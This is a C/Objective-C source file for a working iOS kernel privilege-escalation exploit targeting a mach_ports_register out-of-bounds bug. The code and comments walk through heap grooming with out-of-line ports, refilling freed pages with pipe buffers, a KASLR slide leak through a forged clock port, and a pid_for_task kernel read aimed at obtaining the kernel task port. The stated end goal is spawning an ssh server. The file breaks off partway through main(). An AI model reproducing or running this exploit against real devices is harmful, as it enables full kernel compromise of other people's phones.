1021 lines
27 KiB
Mathematica
1021 lines
27 KiB
Mathematica
// [1] https://bugs.chromium.org/p/project-zero/issues/detail?id=882
|
|
// [2] http://newosxbook.com/files/PhJB.pdf
|
|
// [3] https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core
|
|
|
|
@import Foundation;
|
|
#include <stdio.h>
|
|
#include <dlfcn.h>
|
|
#include <stdlib.h>
|
|
#include <fcntl.h>
|
|
#include <unistd.h>
|
|
#include <sys/attr.h>
|
|
#include <mach/mach.h>
|
|
#include <sys/mman.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/mount.h>
|
|
#include <spawn.h>
|
|
#include <sys/sysctl.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
|
|
#include <stdint.h>
|
|
#include <mach/mach.h>
|
|
#include <CoreFoundation/CoreFoundation.h>
|
|
|
|
#include <mach/clock.h>
|
|
#include <errno.h>
|
|
#include <mach/task.h>
|
|
|
|
#include "__task.h"
|
|
#include "utils.h"
|
|
#include "shell.h"
|
|
#include "offsets.h"
|
|
|
|
typedef union
|
|
{
|
|
uint32_t *p32;
|
|
uint16_t *p16;
|
|
uint8_t *p8;
|
|
void *p;
|
|
uint32_t u32;
|
|
} many_ptr_t;
|
|
|
|
|
|
extern kern_return_t __mach_ports_register
|
|
(
|
|
task_t target_task,
|
|
mach_port_array_t init_port_set,
|
|
mach_msg_type_number_t init_port_setCnt
|
|
);
|
|
|
|
// Definitions not covered by standard headers
|
|
extern kern_return_t mach_zone_force_gc(mach_port_t);
|
|
extern host_name_port_t mach_host_self(void);
|
|
kern_return_t (* mach_vm_read)(vm_map_t target_task, mach_vm_address_t address,
|
|
mach_vm_size_t size, vm_offset_t *data,
|
|
mach_msg_type_number_t *dataCnt);
|
|
kern_return_t (* mach_vm_read_overwrite)(vm_map_t target_task, mach_vm_address_t address,
|
|
mach_vm_size_t size, mach_vm_address_t data,
|
|
mach_vm_size_t *out_size);
|
|
|
|
kern_return_t (* mach_vm_write)(vm_map_t target_task, mach_vm_address_t address,
|
|
vm_offset_t data, mach_msg_type_number_t dataCnt);
|
|
kern_return_t (* mach_vm_deallocate)(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
|
|
kern_return_t (*io_service_add_notification_ool)(mach_port_t,
|
|
char *,
|
|
io_buf_ptr_t,
|
|
mach_msg_type_number_t,
|
|
mach_port_t,
|
|
unsigned *,
|
|
mach_msg_type_number_t,
|
|
kern_return_t *,
|
|
mach_port_t *);
|
|
kern_return_t (* IOMasterPort)(mach_port_t , mach_port_t *);
|
|
|
|
#define resolve(name) \
|
|
{\
|
|
name = dlsym(RTLD_DEFAULT, ""#name"");\
|
|
if (!name) {\
|
|
LOG("could not resolve " #name "");\
|
|
exit(-1);\
|
|
}\
|
|
}\
|
|
|
|
|
|
#define BAD_ADDR ((addr_t)-1)
|
|
|
|
// Kernel offsets
|
|
static struct {
|
|
addr_t kernel_task;
|
|
addr_t system_clock;
|
|
addr_t base;
|
|
} koffsets = {
|
|
.kernel_task = 0x8038c090,
|
|
.system_clock = 0x80338e68,
|
|
.base = 0x80001000,
|
|
};
|
|
|
|
static mach_port_t master = MACH_PORT_NULL;
|
|
static mach_port_t tfp0 = MACH_PORT_NULL;
|
|
|
|
int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp));
|
|
|
|
#define PORT_SIZE 0x70
|
|
|
|
#define IKOT_TASK 2
|
|
#define IKOT_CLOCK 25
|
|
#define IO_ACTIVE 0x80000000
|
|
|
|
#define off(x) (x)
|
|
#define off16(x) (x/2)
|
|
#define off32(x) (x/4)
|
|
|
|
#define KALLOC_8_CNT 0x800
|
|
// The amount of ports we are planing to
|
|
// decommission during allocator garbage collection.
|
|
// Each page has 0x24 ports and we are allocating
|
|
// one pipe per page. Sp this is how many ports
|
|
// we will have for 0x400 pipes.
|
|
#define DECOM_PORTS_CNT (0x24*0x400)
|
|
#define PIPES_CNT 0xf80
|
|
#define PAGE_PORTS_CNT 0x500
|
|
#define X10_ALLOC_CNT 0x10
|
|
#define NOTIFY_CNT 0x800
|
|
|
|
#define INIT_IP_RIGHTS 0x41
|
|
|
|
void set_page_buffer_ports(char *buf, void (^fill)(many_ptr_t *mp, int ))
|
|
{
|
|
for (int i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {
|
|
many_ptr_t mp;
|
|
mp.p = buf + i;
|
|
fill(&mp, i);
|
|
}
|
|
}
|
|
|
|
int set_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp))
|
|
{
|
|
char buf[PAGE_SIZE];
|
|
memset(buf, 0, sizeof(buf));
|
|
|
|
return __update_super_port(pipe, off, buf, fill);
|
|
}
|
|
|
|
int update_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp))
|
|
{
|
|
return __update_super_port(pipe, off, NULL, fill);
|
|
}
|
|
|
|
void gc()
|
|
{
|
|
kern_return_t kr = mach_zone_force_gc(mach_host_self());
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("zone gc failed: %d", kr);
|
|
exit(-1);
|
|
}
|
|
}
|
|
|
|
int mach_ports_register_oob()
|
|
{
|
|
mach_port_t ports[3];
|
|
ports[0] = 0;
|
|
ports[1] = 0;
|
|
ports[2] = 0;
|
|
// we've patched the generated code for mach_ports_register to only actually send one OOL port
|
|
// but still set init_port_setCnt to the value passed here
|
|
return __mach_ports_register(mach_task_self(), ports, 3);
|
|
}
|
|
|
|
// Trigger the bug and create a dangling port pointer.
|
|
// Returns a ports list so that dangling port memory block
|
|
// is placed somewhere amongst blocks from that list.
|
|
mach_port_t *setup_super_port(mach_port_t *super_port, size_t ports_count)
|
|
{
|
|
mach_port_t kalloc_8_ports[KALLOC_8_CNT];
|
|
for (int i=0; i<KALLOC_8_CNT; i++) {
|
|
kalloc_8_ports[i] = alloc_port();
|
|
}
|
|
|
|
// We allocate a lot of ports, so they occupy full pages
|
|
// after some point, later on when we free those
|
|
// ports, pages are decommissioned for use by other
|
|
// allocation zones.
|
|
mach_port_t *ports_to_decom = calloc(ports_count, sizeof(mach_port_t));
|
|
for (int i=0; i<ports_count/2; i++) {
|
|
ports_to_decom[i] = alloc_port();
|
|
}
|
|
|
|
// we hope this port going to be a part of a decommissioned page
|
|
*super_port = alloc_port();
|
|
|
|
// allocate more pages
|
|
for (int i=ports_count/2; i<ports_count; i++) {
|
|
ports_to_decom[i] = alloc_port();
|
|
}
|
|
|
|
// allocate ool port messages in 8-kalloc with two super_port pointers each
|
|
for (int i=0; i<KALLOC_8_CNT; i++) {
|
|
kalloc_8_ool_ports(kalloc_8_ports[i], *super_port);
|
|
}
|
|
|
|
// free every 4th one
|
|
for (int i=0; i<KALLOC_8_CNT; i+=4) {
|
|
discard_message(kalloc_8_ports[i]);
|
|
}
|
|
|
|
// Call bugged mach_ports_register, which is
|
|
// going to allocate space for two port pointers
|
|
// (grabbing a block from 8-kalloc, which is hopefully
|
|
// surrounded by our ool ports) and read the third one
|
|
// out of bounds.
|
|
kern_return_t kr = mach_ports_register_oob();
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("could not register oob");
|
|
return NULL;
|
|
}
|
|
LOG("oob port registered ");
|
|
|
|
// free the rest of the messages
|
|
for (int i=1; i<KALLOC_8_CNT; i++) {
|
|
if (i % 4)
|
|
discard_message(kalloc_8_ports[i]);
|
|
}
|
|
|
|
return ports_to_decom;
|
|
}
|
|
|
|
// We check for INIT_IP_RIGHTS + 1 in ip_srights field, which
|
|
// should have been set by mach_ports_lookup.
|
|
bool is_port_pipe(char *buf, unsigned *off)
|
|
{
|
|
for (unsigned i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {
|
|
many_ptr_t mp;
|
|
mp.p = buf + i;
|
|
|
|
if (mp.p32[off32(IPC_PORT_ip_srights)] == INIT_IP_RIGHTS + 1) {
|
|
*off = i;
|
|
return true;
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
// we always leave pipe full, after read/write
|
|
// for consistency.
|
|
//
|
|
// -1 if failed, otherwise pipe index in @pipes array
|
|
int find_port_pipe(int * pipes, unsigned *off)
|
|
{
|
|
for (int i=0; PIPES_CNT; i++) {
|
|
|
|
int *pipe = &pipes[i*2];
|
|
char buf[PAGE_SIZE-1];
|
|
|
|
int cnt = read(pipe[0], buf, sizeof(buf));
|
|
if (cnt != sizeof(buf)) {
|
|
LOG("could not read pipe %d", i);
|
|
return -1;
|
|
}
|
|
|
|
if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
|
|
LOG("pipe write failed");
|
|
return -1;
|
|
}
|
|
|
|
if (is_port_pipe(buf, off)) {
|
|
return i;
|
|
}
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
int find_in_pipes(int *pipes, unsigned *off, bool (^find)(many_ptr_t *mp))
|
|
{
|
|
for (int i=0; PIPES_CNT; i++) {
|
|
|
|
int *pipe = &pipes[i*2];
|
|
char buf[PAGE_SIZE-1];
|
|
|
|
int cnt = read(pipe[0], buf, sizeof(buf));
|
|
if (cnt != sizeof(buf)) {
|
|
LOG("could not read pipe %x, cnt: %d", i, cnt);
|
|
return -1;
|
|
}
|
|
|
|
if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
|
|
LOG("pipe write failed");
|
|
return -1;
|
|
}
|
|
|
|
for (unsigned j=0; j<PAGE_SIZE; j+=PORT_SIZE) {
|
|
many_ptr_t mp;
|
|
mp.p = buf + j;
|
|
|
|
if (find(&mp)) {
|
|
*off = j;
|
|
return i;
|
|
}
|
|
}
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp))
|
|
{
|
|
char __buf[PAGE_SIZE];
|
|
int ret = read(pipe[0], __buf, PAGE_SIZE-1);
|
|
if (ret != PAGE_SIZE-1) {
|
|
return -1;
|
|
}
|
|
|
|
if (buf == NULL)
|
|
buf = __buf;
|
|
|
|
many_ptr_t mp;
|
|
mp.p = buf + off;
|
|
fill(&mp);
|
|
|
|
ret = write(pipe[1], buf, PAGE_SIZE-1);
|
|
if (ret != PAGE_SIZE-1) {
|
|
return -1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
int super_port_read(int pipe[2], unsigned pipe_off,
|
|
void (^reader)(many_ptr_t *mp))
|
|
{
|
|
char buf[PAGE_SIZE];
|
|
int ret = read(pipe[0], buf, PAGE_SIZE-1);
|
|
if (ret != PAGE_SIZE-1) {
|
|
return -1;
|
|
}
|
|
|
|
ret = write(pipe[1], buf, PAGE_SIZE-1);
|
|
if (ret != PAGE_SIZE-1) {
|
|
return -1;
|
|
}
|
|
|
|
many_ptr_t mp;
|
|
mp.p = buf + pipe_off;
|
|
reader(&mp);
|
|
|
|
return 0;
|
|
}
|
|
|
|
addr_t get_kaslr_slide(mach_port_t port, int pipe[2], unsigned off)
|
|
{
|
|
kern_return_t kr = 0;
|
|
set_super_port(pipe, off, ^(many_ptr_t *mp) {
|
|
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_CLOCK;
|
|
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
|
|
});
|
|
|
|
for (int i=0; i<0x200; i++) {
|
|
|
|
addr_t slide = i << 21;
|
|
|
|
update_super_port(pipe, off, ^(many_ptr_t *mp) {
|
|
mp->p32[off32(IPC_PORT_kobject)] = koffsets.system_clock + slide;
|
|
});
|
|
|
|
kr = clock_sleep_trap(port, 0, 0, 0, 0);
|
|
if (kr == KERN_SUCCESS) {
|
|
return slide;
|
|
}
|
|
}
|
|
|
|
return BAD_ADDR;
|
|
}
|
|
|
|
int super_port_to_tfp0(int pipe[2], unsigned off, addr_t task0, addr_t space0,
|
|
addr_t port_addr)
|
|
{
|
|
set_super_port(pipe, off, ^(many_ptr_t *mp) {
|
|
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_TASK;
|
|
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
|
|
mp->p32[off32(IPC_PORT_receiver)] = space0;
|
|
mp->p32[off32(IPC_PORT_kobject)] = task0;
|
|
// we don't do notify in mach_ports_register
|
|
mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;
|
|
|
|
mp->p32[off32(IPC_PORT_ip_messages_imq_next)] =
|
|
port_addr + IPC_PORT_ip_messages_imq_next;
|
|
mp->p32[off32(IPC_PORT_ip_messages_imq_prev)] =
|
|
port_addr + IPC_PORT_ip_messages_imq_prev;
|
|
mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 0x10;
|
|
|
|
mp->p32[off32(0x14)] = 6;
|
|
mp->p32[off32(0x18)] = 0;
|
|
});
|
|
|
|
return 0;
|
|
}
|
|
|
|
void kread(uint64_t from, void *to, size_t size)
|
|
{
|
|
#define BLOCK_SIZE 0xf00
|
|
mach_vm_size_t outsize = size;
|
|
|
|
size_t szt = size;
|
|
if (size > BLOCK_SIZE) {
|
|
size = BLOCK_SIZE;
|
|
}
|
|
|
|
size_t off = 0;
|
|
|
|
while (1) {
|
|
kern_return_t kr = mach_vm_read_overwrite(tfp0, off+from,
|
|
size, (mach_vm_offset_t)(off+to), &outsize);
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("mach_vm_read_overwrite failed, left: %zu, kr: %d", szt, kr);
|
|
return;
|
|
}
|
|
szt -= size;
|
|
off += size;
|
|
if (szt == 0) {
|
|
break;
|
|
}
|
|
size = szt;
|
|
if (size > BLOCK_SIZE) {
|
|
size = BLOCK_SIZE;
|
|
}
|
|
}
|
|
#undef BLOCK_SIZE
|
|
}
|
|
|
|
uint32_t kr32(addr_t from)
|
|
{
|
|
kern_return_t kr;
|
|
vm_offset_t buf = 0;
|
|
mach_msg_type_number_t num = 0;
|
|
|
|
kr = mach_vm_read(tfp0,
|
|
from,
|
|
4,
|
|
&buf,
|
|
&num);
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("mach_vm_read failed!\n");
|
|
return 0;
|
|
}
|
|
uint32_t val = *(uint32_t*)buf;
|
|
mach_vm_deallocate(mach_task_self(), buf, num);
|
|
return val;
|
|
}
|
|
|
|
uint32_t kw32(addr_t to, uint32_t v)
|
|
{
|
|
kern_return_t kr;
|
|
|
|
kr = mach_vm_write(tfp0,
|
|
to,
|
|
(vm_offset_t)&v,
|
|
(mach_msg_type_number_t)4);
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("mach_vm_write failed!\n");
|
|
}
|
|
|
|
return kr;
|
|
}
|
|
|
|
int kread0_32(addr_t addr, void *result, mach_port_t super_port,
|
|
mach_port_t context_port)
|
|
{
|
|
kern_return_t kr = mach_port_set_context(mach_task_self(),
|
|
context_port, addr - 8);
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("mach_port_set_context failed: %d", kr);
|
|
return -1;
|
|
}
|
|
|
|
kr = pid_for_task(super_port, (int *)result);
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("pid_for_task failed: %d", kr);
|
|
return -2;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
static void khexdump0(addr_t ptr, size_t n, mach_port_t port, mach_port_t ctx_port)
|
|
{
|
|
for (int i=0; i<n; i+=2) {
|
|
uint32_t v1, v2;
|
|
kread0_32(ptr+i*4, &v1, port, ctx_port);
|
|
kread0_32(ptr+(i+1)*4, &v2, port, ctx_port);
|
|
|
|
LOG("%08X %08X", v1, v2);
|
|
}
|
|
}
|
|
|
|
static void khexdump(addr_t ptr, size_t n)
|
|
{
|
|
for (int i=0; i<n; i+=2) {
|
|
uint32_t v1, v2;
|
|
v1 = kr32(ptr+i*4);
|
|
v2 = kr32(ptr+(i+1)*4);
|
|
LOG("%08X %08X", v1, v2);
|
|
}
|
|
}
|
|
|
|
void * alloc_x10_make_xml(int count, uint32_t data[4])
|
|
{
|
|
char *ok_dict = malloc(0x100000);
|
|
unsigned pos = 0;
|
|
pos = sprintf(ok_dict, "<dict><key>a</key><array>");
|
|
|
|
for (int i=0; i<count; i++) {
|
|
pos += sprintf(ok_dict + pos,
|
|
"<data format=\"hex\">%08x%08x%08x%08x</data>",
|
|
htonl(data[0]), htonl(data[1]),
|
|
htonl(data[2]), htonl(data[3]));
|
|
}
|
|
|
|
sprintf(ok_dict+pos, "</array></dict>");
|
|
return ok_dict;
|
|
}
|
|
|
|
io_service_t alloc_x10_alloc(void *xml)
|
|
{
|
|
kern_return_t another_error = 0;
|
|
io_service_t i = MACH_PORT_NULL;
|
|
|
|
kern_return_t kr = io_service_add_notification_ool(master,
|
|
"IOServicePublish",
|
|
xml,
|
|
strlen(xml)+1,
|
|
MACH_PORT_NULL,
|
|
NULL,
|
|
0,
|
|
&another_error,
|
|
&i);
|
|
|
|
if (kr != KERN_SUCCESS || another_error != KERN_SUCCESS) {
|
|
LOG("io_service_add_notification_ool failed %d, %d",
|
|
kr, another_error);
|
|
return MACH_PORT_NULL;
|
|
}
|
|
|
|
return i;
|
|
}
|
|
|
|
addr_t kread0_port_addr(addr_t space,
|
|
mach_port_t port, mach_port_t super_port,
|
|
mach_port_t ctx_port)
|
|
{
|
|
addr_t is_table_size;
|
|
addr_t is_table;
|
|
addr_t addr;
|
|
kern_return_t kr = KERN_SUCCESS;
|
|
|
|
kr = kread0_32(space + SPACE_is_table_size, &is_table_size,
|
|
super_port, ctx_port);
|
|
if (kr != KERN_SUCCESS) {
|
|
return 0;
|
|
}
|
|
|
|
kr = kread0_32(space + SPACE_is_table, &is_table,
|
|
super_port, ctx_port);
|
|
if (kr != KERN_SUCCESS) {
|
|
return 0;
|
|
}
|
|
|
|
kr = kread0_32(is_table + (port >> 8)*0x10, &addr,
|
|
super_port, ctx_port);
|
|
if (kr != KERN_SUCCESS) {
|
|
return 0;
|
|
}
|
|
|
|
return addr;
|
|
}
|
|
|
|
#include <sys/types.h>
|
|
#include <sys/sysctl.h>
|
|
|
|
// This is an exploit for vulnerability described in [1].
|
|
//
|
|
// To start lets roughly out like the exploit process. It's very
|
|
// similar to what detailed in [2]. The only difference
|
|
// is we don't use an information leak bug.
|
|
//
|
|
// 1. We fill up 8 bytes kalloc zone with ool ports.
|
|
// two port pointers each. We use the same port for all of them.
|
|
//
|
|
// 2. Free one ool message somewhere in the middle.
|
|
//
|
|
// 3. Trigger mach_ports_register bug to allocate
|
|
// the block we released in 2. with 8 bytes allocation for
|
|
// two port pointers and read the third port send right out of bound,
|
|
// grabbing one of the pointers we placed into ool port messages without
|
|
// proper reference.
|
|
//
|
|
// 4. Free the port we sent out of line and refill it with a pipe buffers.
|
|
//
|
|
// 6. Retrieve a dangling port send right via mach_ports_lookup.
|
|
//
|
|
// 7. Craft a fake IKOT_CLOCK port send right to get kernel slide.
|
|
//
|
|
// 8. Leak address of a port receive right using mach_port_request_notification on
|
|
// a dangling port send right backed by a pipe buffer.
|
|
//
|
|
// 9. Use leaked port receive right pointer to setup kernel read via pid_for_task as
|
|
// described in [2].
|
|
//
|
|
// 10. Use kernel read to convert dangling port into a kernel task send right.
|
|
//
|
|
// 11. Spawn ssh server and deploy gnu core utils.
|
|
//
|
|
// 12. Cleanup and exit.
|
|
int main(int argc, char** argv)
|
|
{
|
|
kern_return_t kr = KERN_SUCCESS;
|
|
|
|
resolve(io_service_add_notification_ool);
|
|
resolve(IOMasterPort);
|
|
resolve(mach_vm_read);
|
|
resolve(mach_vm_read_overwrite);
|
|
resolve(mach_vm_write);
|
|
resolve(mach_vm_deallocate);
|
|
|
|
kr = IOMasterPort(MACH_PORT_NULL, &master);
|
|
LOG("master port: %x, kr: %d\n", master, kr);
|
|
|
|
// First we stop all other thread to reduce the "noise"
|
|
for_other_threads(^(thread_act_t t) {
|
|
kern_return_t kr = thread_suspend(t);
|
|
if (kr != KERN_SUCCESS)
|
|
LOG("could not suspend a thread");
|
|
});
|
|
|
|
// Set file limit for our process as high as possible,
|
|
// since we are using pipes as refill
|
|
set_nofile_limit();
|
|
|
|
int pipes[PIPES_CNT][2];
|
|
|
|
mach_port_t *ports_to_decom;
|
|
mach_port_t super_port;
|
|
|
|
// We are going to reclaim decommissioned pages
|
|
// with page size allocations via pipes.
|
|
// Prepare the buffer first.
|
|
char pipe_buf[PAGE_SIZE];
|
|
memset(pipe_buf, 0, sizeof(pipe_buf));
|
|
|
|
// We prepare a very minimal refill, so we don't panic
|
|
// in mach_ports_lookup trap when it needs to
|
|
// take port lock.
|
|
set_page_buffer_ports(pipe_buf, ^(many_ptr_t *mp, int i) {
|
|
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
|
|
// we set ip_srights to some distinct value, the function
|
|
// mach_ports_lookup returns as back a send right
|
|
// to the port, hence it increments ip_srights.
|
|
// We are going to use that later on to find the
|
|
// pipe buffer which captured the pages used
|
|
// for the super port.
|
|
mp->p32[off32(IPC_PORT_ip_srights)] = INIT_IP_RIGHTS;
|
|
});
|
|
|
|
// create pipe files first
|
|
if (pipes_create((int *)pipes, PIPES_CNT) < 0) {
|
|
LOG("could not create pipes");
|
|
return -1;
|
|
}
|
|
|
|
// Allocate DECOM_PORTS_CNT ports continuously after some point
|
|
// and mark one "super" port somewhere in the middle.
|
|
// The super port is returned back via super_port argument.
|
|
//
|
|
// We places super_port without a proper reference into task's itk_registered
|
|
// using a bogus mach_ports_register call.
|
|
ports_to_decom = setup_super_port(&super_port, DECOM_PORTS_CNT);
|
|
if (ports_to_decom == NULL) {
|
|
return -1;
|
|
}
|
|
|
|
// exhaust PAGE_SIZE zone so once we trigger the garbage collection
|
|
// the allocator is going to start requesting the "fresh" pages.
|
|
mach_port_t page_ports[PAGE_PORTS_CNT];
|
|
|
|
for (int i=0; i<PAGE_PORTS_CNT; i++) {
|
|
page_ports[i] = alloc_port();
|
|
// allocate a page via mach ool messages
|
|
kalloc_page_ool_ports(page_ports[i]);
|
|
}
|
|
|
|
// Free pages to decommission from ports zone.
|
|
for (int i=0; i<DECOM_PORTS_CNT; i++) {
|
|
mach_port_destroy(mach_task_self(), ports_to_decom[i]);
|
|
}
|
|
// Release the super port currently residing in
|
|
// itk_registered task_t field.
|
|
mach_port_destroy(mach_task_self(), super_port);
|
|
// Trigger garbage collection
|
|
gc();
|
|
// Refill decommissioned port pages with pipe buffers
|
|
pipes_alloc((int *)pipes, PIPES_CNT, pipe_buf);
|
|
|
|
mach_port_t *ports = NULL;
|
|
mach_msg_type_number_t cnt = 3;
|
|
|
|
// Get the dangling port pointer back while incrementing
|
|
// ip_srights field.
|
|
kr = mach_ports_lookup(mach_task_self(), (mach_port_t **)&ports, &cnt);
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("mach_ports_lookup failed %x\n", kr);
|
|
return -1;
|
|
}
|
|
|
|
super_port = ports[2];
|
|
LOG("got fake pipe port: %d", super_port);
|
|
|
|
// offset within the page where the super port used to reside.
|
|
unsigned pipe_off;
|
|
// the pipe buffer which reclaimed the super port page.
|
|
int super_pipe[2];
|
|
|
|
int pipe_idx = find_port_pipe((int *)pipes, &pipe_off);
|
|
|
|
if (pipe_idx >= 0) {
|
|
LOG("got port pipe %d, off: %04x\n", pipe_idx, pipe_off);
|
|
} else {
|
|
LOG("could not find port pipe");
|
|
exit(-1);
|
|
}
|
|
|
|
super_pipe[0] = pipes[pipe_idx][0];
|
|
super_pipe[1] = pipes[pipe_idx][1];
|
|
|
|
pipes[pipe_idx][0] = -1;
|
|
pipes[pipe_idx][1] = -1;
|
|
pipes_close((int *)pipes, PIPES_CNT);
|
|
|
|
// We have a send right to a port and full control over
|
|
// the backing memory via a pipe.
|
|
//
|
|
// We use method described in [3] to get kernel ASLR slide.
|
|
addr_t slide = get_kaslr_slide(super_port, super_pipe, pipe_off);
|
|
LOG("slide: %08lx", slide);
|
|
|
|
// Now we want to get kernel read using pid_for_task trap trick.
|
|
// The details on that can be found in [2].
|
|
//
|
|
// With control over content of a sand right we can setup a task send right.
|
|
// To get a kernel read we would need to have control of at least 4 bytes at
|
|
// a known kernel address (KA). Then we can point our send right task object
|
|
// to KA - offsetof(struct task, bsd_proc) and place the address we want
|
|
// to read from at KA.
|
|
//
|
|
// To achieve that we are going to leak address of a receive port right
|
|
// we can control and use mach_port_set_context to place the address we
|
|
// want to read at known address. (port_t ip_context field).
|
|
//
|
|
// To leak a port address we setup up our super_port so we can register
|
|
// a notification port for MACH_NOTIFY_DEAD_NAME via
|
|
// mach_port_request_notification.
|
|
set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
|
|
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;
|
|
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
|
|
mp->p32[off32(IPC_PORT_ip_srights)] = 99;
|
|
mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 99;
|
|
mp->p32[off32(IPC_PORT_ip_messages_imq_msgcount)] = 0;
|
|
});
|
|
|
|
mach_port_t old;
|
|
|
|
// For pid_for_task call to work we need to make sure
|
|
// our fake task object has non zero reference counter.
|
|
// The task reference counter field would land at
|
|
// ip_pdrequest field of a port located before the port we
|
|
// are using to place our address at ip_context. So we spam
|
|
// ports with non zero ip_pdrequest, before allocating
|
|
// the port.
|
|
mach_port_t notify_ports[NOTIFY_CNT];
|
|
mach_port_t ref_port = alloc_port();
|
|
|
|
for (int i=0; i<NOTIFY_CNT/2; i++) {
|
|
notify_ports[i] = alloc_port();
|
|
// set ip_pdrequest to ref_port address
|
|
kr = mach_port_request_notification(mach_task_self(), notify_ports[i],
|
|
MACH_NOTIFY_PORT_DESTROYED, 0, ref_port,
|
|
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("mach_port_request_notification failed, %x", kr);
|
|
}
|
|
}
|
|
|
|
// create a port to leak the address of
|
|
mach_port_t notify_port = alloc_port();
|
|
|
|
for (int i=NOTIFY_CNT/2; i<NOTIFY_CNT; i++) {
|
|
notify_ports[i] = alloc_port();
|
|
kr = mach_port_request_notification(mach_task_self(), notify_ports[i],
|
|
MACH_NOTIFY_PORT_DESTROYED, 0, ref_port,
|
|
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("mach_port_request_notification failed, %x", kr);
|
|
}
|
|
}
|
|
|
|
uint32_t data[4];
|
|
memset(data, 0x41, sizeof(data));
|
|
|
|
// Since ip_requests is NULL our call to mach_port_request_notification
|
|
// is going to allocate array of two ipc_port_request structures from 16-kalloc zone
|
|
// to be able to place one notification port.
|
|
//
|
|
// struct ipc_port_request {
|
|
// union {
|
|
// struct ipc_port *port;
|
|
// ipc_port_request_index_t index;
|
|
// } notify;
|
|
//
|
|
// union {
|
|
// mach_port_name_t name;
|
|
// struct ipc_table_size *size;
|
|
// } name;
|
|
// };
|
|
|
|
//
|
|
// We want to have some control over the content of the blocks
|
|
// around where that 16 bytes block is allocated.
|
|
//
|
|
// To allocate blocks with controlled data and size we are going to
|
|
// use io_service_add_notification_ool, as described in [2].
|
|
//
|
|
// First we prepare the xml content to trigger the allocations.
|
|
void *xml_many = alloc_x10_make_xml(0x800, data);
|
|
|
|
// fill up 16-kalloc, so further allocation are more
|
|
// predictable.
|
|
for (int i=0; i<0x20; i++) {
|
|
alloc_x10_alloc(xml_many);
|
|
}
|
|
|
|
void *xml_single = alloc_x10_make_xml(1, data);
|
|
|
|
mach_port_t x10_ports_many[X10_ALLOC_CNT];
|
|
mach_port_t x10_ports_single[X10_ALLOC_CNT];
|
|
|
|
// we allocate large amount of 16 byte blocks
|
|
for (int i=0; i<X10_ALLOC_CNT; i++) {
|
|
x10_ports_many[i] = alloc_x10_alloc(xml_many);
|
|
x10_ports_single[i] = alloc_x10_alloc(xml_single);
|
|
}
|
|
|
|
// Free some of them to "punch holes" in 16-kalloc which
|
|
// are surrounded by blocks we control.
|
|
for (int i=X10_ALLOC_CNT; i<X10_ALLOC_CNT; i++) {
|
|
mach_port_destroy(mach_task_self(), x10_ports_single[i]);
|
|
}
|
|
// Call to mach_port_request_notification allocates 0x10 bytes
|
|
// (two ipc_port_request structs), filling one of the holes
|
|
// and stores the block at ip_requests field of ipc_port.
|
|
//
|
|
// First item in ip_requests has notify.index field indicating first empty
|
|
// record position, name.size points to the size of the table.
|
|
//
|
|
// The second one contains our notification port,
|
|
// notify_port is stored as notify.port at offset 8
|
|
kr = mach_port_request_notification(mach_task_self(), super_port,
|
|
MACH_NOTIFY_DEAD_NAME, 0, notify_port,
|
|
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("mach_port_request_notification failed kr: %x", kr);
|
|
exit(-1);
|
|
}
|
|
|
|
// Read back the value allocated via ip_requests.
|
|
__block addr_t ip_requests = 0;
|
|
super_port_read(super_pipe, pipe_off, ^(many_ptr_t *mp) {
|
|
ip_requests = mp->p32[off32(IPC_PORT_ip_requests)];
|
|
});
|
|
